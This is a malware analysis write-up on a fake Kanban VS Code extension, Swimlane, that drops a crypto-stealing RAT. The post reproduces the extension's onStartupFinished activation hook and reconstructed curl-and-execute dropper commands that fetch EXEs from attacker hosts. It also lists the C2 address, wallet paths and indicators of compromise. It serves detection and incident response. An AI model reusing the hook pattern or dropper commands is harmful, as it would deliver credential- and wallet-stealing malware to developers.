A fake Kanban extension with 1,184 installs curls a crypto-stealing RAT the moment VS Code finishes loading.

StackStudios.Swimlane is a working Kanban webview with the usual Marketplace promises: offline-first, no accounts, stay in the editor. The listing showed 1,184 installs – over a thousand machines that never had to open the board. The moment VS Code finishes loading, that story is already over. Activation fires a hidden Node helper, the helper curls an EXE into %TEMP%, and that EXE becomes a TLS RAT with a built-in wallet inventory. 1.0.2 pulled perfect.exe from boss67.icu; 1.0.3 rotated the drop.

The launch method is identical to what we saw in Nebula-Deck: obfuscated helper code, a vendored fake npm tree, onStartupFinished so install is enough, then a hidden curl into %TEMP% and execute. Junior skips the .bat chain and fetches an EXE.

VS Marketplace listing for StackStudios.Swimlane 1.0.2 - Kanban planner branding, Install button, and offline-first marketing copy
The Marketplace listing for StackStudios.Swimlane 1.0.2: 1,184 installs, one review, offline-first copy.
Swimlane Marketplace Rating and Review tab - a single four-star review from golden posted hours after the listing
The only review: four stars from golden, posted hours after the listing went up.

The listing starts itself, then curls a RAT

Junior is less sophisticated than the original. Nebula-Deck climbed from a Marketplace listing into a long Windows chain. This listing is the little brother: same launch kit, thinner payload. It still does not wait for the user to open a board. The manifest is the same trick with the publisher and command renamed.

// package.json - Swimlane 1.0.2 (same activation pattern as Nebula-Deck)
{
  "publisher": "StackStudios",
  "activationEvents": ["onStartupFinished", "onCommand:swimlane.open"],
  "main": "./src/extension.js",
  "dependencies": { "typescripts": "^1.2.1" }
}

onStartupFinished is the shared delivery technique. Install the extension, let the editor finish starting, and the dropper runs – potentially before anyone clicks Swimlane: Open Planning Manager.

activate() is the same shape as Nebula-Deck’s patt.run(): fire the helper first, swallow errors, register the fake UI second.

// src/extension.js - first thing activate() does (Nebula-Deck used patt.run())
function activate(context) {
  try {
    patpack.run().catch(() => {});
  } catch (_) {}
  context.subscriptions.push(
    vscode.commands.registerCommand('swimlane.open', () => openPanel(context))
  );
}

src/package.js then locates node_modules/typescripts/lolnstall.js and spawns it with ELECTRON_RUN_AS_NODE=1, windowsHide: true, detached: true, stdio: 'ignore' – or requires it in-process as a fallback. That is Nebula-Deck’s patt.jsboardflow/install.js path with the filenames filed off.

Deobfuscating lolnstall.js yields the same two child_process.exec calls, aimed at an EXE instead of a .bat:

# lolnstall.js - 1.0.2, reconstructed
curl -L -o "%TEMP%\4649nadeshiko.exe" "http://boss67.icu/perfect.exe"
"%TEMP%\4649nadeshiko.exe"

Captured perfect.exe: MD5 cf0d7732316a6537fccb0db2bde1a25b, SHA-256 195b65512fc5b5489149efbccd75efc0919680046c29b18af47b2922ae920679. The VSIX never contained that file.

Swimlane 1.0.3 is the same kit after Vercel took down the other decoy we had seen. The Kanban code did not change – extension.js and package.js are byte-identical. They bumped the version and rewrote lolnstall.js so the same %TEMP%\4649nadeshiko.exe drop now comes from a Netlify host instead of boss67.icu.

# lolnstall.js - 1.0.3, reconstructed
curl -L -o "%TEMP%\4649nadeshiko.exe" "https://whats-the-time-in-shanghai.netlify.app/xd.exe"
"%TEMP%\4649nadeshiko.exe"

The drop host is the same operator. Hitting the root of boss67.icu returns the plaintext tag jengu b. We found pooron.org in certificate transparency logs for a Nebula-Deck campaign URL; that host returns jengu a. Sequential check-in strings on related infrastructure – not two random Kanban listings.

pooron.org serving the plaintext operator tag jengu a, found via certificate transparency logs on a Nebula-Deck campaign URL
pooron.org answers with the plaintext operator tag jengu a, found via certificate transparency on a Nebula-Deck campaign URL.
boss67.icu serving the plaintext operator tag jengu b on the Junior drop host
boss67.icu, the 1.0.2 drop host, answers with jengu b.

Celestial unwraps, then persists

perfect.exe is Celestial Crypter. It creates mutex Local\CelestialCrypter.Session, drops %TEMP%\Egnjqofn.exe, and runs it. It has no network of its own. It also writes HKCU ...\Windows\CurrentVersion\Run as CelestialHost_… pointing at the drop in %TEMP% – reboot is enough to come back without the editor.

Any.Run behavior alert: perfect.exe writes CelestialHost autorun under HKCU CurrentVersion Run pointing at the drop in Temp
Any.Run flags the persistence write: perfect.exe creates HKCU Run value CelestialHost_0005941D pointing at the %TEMP% drop.

VirusTotal on the stub landed 38/70, mostly MSIL stealer / Trojan labels. The stub picks its own filename at runtime, so one file turns up under a different name on every execution: Egnjqofn.exe in our run, Qocarzv.exe on the VirusTotal submission. The SHA-256 82e81591d0b6370bb6e71b41484b8ae5e8671a3efbe865ef622ac3f3451a9eba is the only stable identifier.

VirusTotal report for Qocarzv.exe - 38 of 70 vendors detect the packed .NET stub as a Trojan and stealer
VirusTotal on the dropped stub Qocarzv.exe: 38 of 70 vendors detect it, mostly MSIL stealer and Trojan labels.

Hidden DLL, then the RAT in-process

Egnjqofn.exe is a packed .NET stub. It mixer-decrypts and inflates an embedded resource into a hidden DLL, inner.dll. That DLL has no methods of its own. It exists to hold one encrypted resource named Ytgknojbd. The stub TripleDES-decrypts Ytgknojbd (CBC, PKCS7), reads a 4-byte length prefix, gunzips the rest, and Assembly.Loads it. The result is Ruozeod.dll (the RAT), running inside Egnjqofn.exe.

Any.Run’s steal probes and the TLS session are that process. No extra child. Same family of tricks as Nebula-Deck: an encrypted blob, a loader, and a next stage that is not in the VSIX. Junior just does the unpack in-process instead of handing blobs to an injection loader.

Any.Run report for Egnjqofn.exe launched from Perfect.exe - suspicious score 90, credentials-in-files and crypto-wallet steal detections, in-process
Any.Run scores Egnjqofn.exe 90/100 suspicious: credentials-in-files and crypto-wallet steal detections, in-process under Perfect.exe.

First beacon is already a wallet census

Config string 14136 is one host, one port, one campaign:

C2 185.254.99.165:56001 (TLS, pinned cert CN=Gpvlqdyq, not after 2083-05-05)
Campaign Noqlm
Profile Default / %APPDATA%

HTTP from the malware process is empty. The C2 is raw TLS (Common-RAT JA3 on 56001). Before plugins arrive, the client walks the box for presence (directories, files, HKCU strDataDir for Qt coins, Chromium User Data for wallet-extension IDs) and joins the hits with ", " onto the first beacon.

Desktop paths that fired in the sandbox:

  • %AppData%\Roaming\Electrum\wallets
  • %AppData%\Roaming\Exodus\exodus.wallet
  • %AppData%\Roaming\atomic\Local Storage\leveldb
  • %AppData%\Roaming\com.liberty.jaxx\IndexedDB
  • %AppData%\Roaming\Ethereum\keystore
  • %AppData%\Roaming\Telegram Desktop\Telegram.exe

The same class also tags Zcash, Bitcoin-Qt / Dash-Qt / Litecoin-Qt, Ledger Live, Foxmail, and Chromium extensions including MetaMask, Phantom, Coinbase, Trust, Ronin, Keplr, TronLink, Binance Chain, Exodus Web3, Guarda, Yoroi, Braavos, Waves Keeper, BitKeep.

That pass is inventory, not file copy. Grabbers still arrive as C2 plugins via Assembly.Load. Junior prices the box on first check-in; it does not climb the kernel/firmware path we mapped in Nebula-Deck.

Technique Nebula-Deck (FocusDeck / LineDeck) Nebula-Deck Junior (Swimlane 1.0.2 / 1.0.3)
Cover Fake Kanban, offline-first README, working webview Same, renamed Swimlane
Start onStartupFinished onStartupFinished
Hook patt.run() then register UI patpack.run() then register UI
Fake npm vendored boardflow@1.2.1 vendored typescripts@1.2.1 (bin: still boardflow)
Launch spawn + ELECTRON_RUN_AS_NODE + windowsHide Same flags
Drop curl -L -o %TEMP%\*.bat then execute; hosts rotate curl -L -o %TEMP%\*.exe then execute; boss67.icu → Netlify in 1.0.3
Unpack Encrypted blob + loader; next stage not in the VSIX As described above
Operator tag pooron.orgjengu a boss67.icujengu b
Payload in VSIX? No – fetched at runtime No – fetched at runtime

A Broader Network Behind Nebula-Deck and Junior

The overlap is too specific to be two unrelated publishers copying a Kanban README. Same chassis, wildly different payload: Nebula-Deck spent it on a long Windows chain; Junior spent it on a Celestial-packed crypto-stealing RAT. That gap is what a distributed base kit looks like, not two independent builders converging by accident.

We think a group is pushing that kit across a larger infrastructure than the hosts in this post. Certificate transparency on a Nebula-Deck campaign URL is how pooron.org showed up next to boss67.icu. 1.0.3 then moved the drop onto whats-the-time-in-shanghai.netlify.app. That is a slice, not a map of the whole network.

If StackStudios.Swimlane was installed, treat the machine as compromised. Remove the extension, kill the dropped EXEs, and assume anything the RAT inventoried may already have a plugin queued. If FocusDeck or LineDeck was on the same box, hunt both second stages – the kit is shared, the payload is not.

Useful references

Indicators of compromise

Item Value
Cluster Nebula-Deck Junior (same kit as FocusDeck / LineDeck; EXE / RAT payload)
Extension StackStudios.swimlane 1.0.2 / 1.0.3
VSIX SHA-256 (1.0.2 gzip wrapper) ce36b48e83beff36f63ee88487ac8a580b5986b4abe0c8565ece342a93f35e8c
VSIX SHA-256 (1.0.2 zip) b8ba3b10f511fd9b0fe60b4a2e5afb277d4e6fd3d839195be14d966ca407feef
VSIX SHA-256 (1.0.3) 108fd1f9d0d5a704ce8e7eec4fbb492fec47e26f0b406af5d70466f30b8d4547
Operator tag boss67.icujengu b (Nebula-Deck: pooron.orgjengu a, via CT logs)
Drop URL (1.0.2) http://boss67.icu/perfect.exe
Drop URL (1.0.3) https://whats-the-time-in-shanghai.netlify.app/xd.exe
Staging name %TEMP%\4649nadeshiko.exe
perfect.exe MD5 cf0d7732316a6537fccb0db2bde1a25b
perfect.exe SHA-256 195b65512fc5b5489149efbccd75efc0919680046c29b18af47b2922ae920679
Dropped stub %TEMP%\<random>.exe, filename generated at runtime (observed: Egnjqofn.exe, Xzzba, Qocarzv.exe). SHA-256 82e81591d0b6370bb6e71b41484b8ae5e8671a3efbe865ef622ac3f3451a9eba
Final RAT Ruozeod.dll SHA-256 53f3496ad8898b3c329223e68e8bb50c239ca6aec8ccb5aea8874172188d0f70
C2 185.254.99.165:56001 TLS
Cert CN=Gpvlqdyq, not after 2083-05-05, SHA-256 1df85f7df67f60d74b0ada950aaba46ce4bd41807f50eb99a708b823a2f73fcf
Campaign id Noqlm
Persistence HKCU Run CelestialHost_…; mutex Local\CelestialCrypter.Session